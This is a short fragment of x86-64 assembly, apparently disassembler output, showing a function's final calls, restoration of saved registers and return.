mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000c970
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000bb70
nop
nop
mov rcx, rbp
call fcn.100014d70
mov rbx, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
mov r12, qword [rbp - 0x30]
lea rsp, [rbp]
pop rbp
ret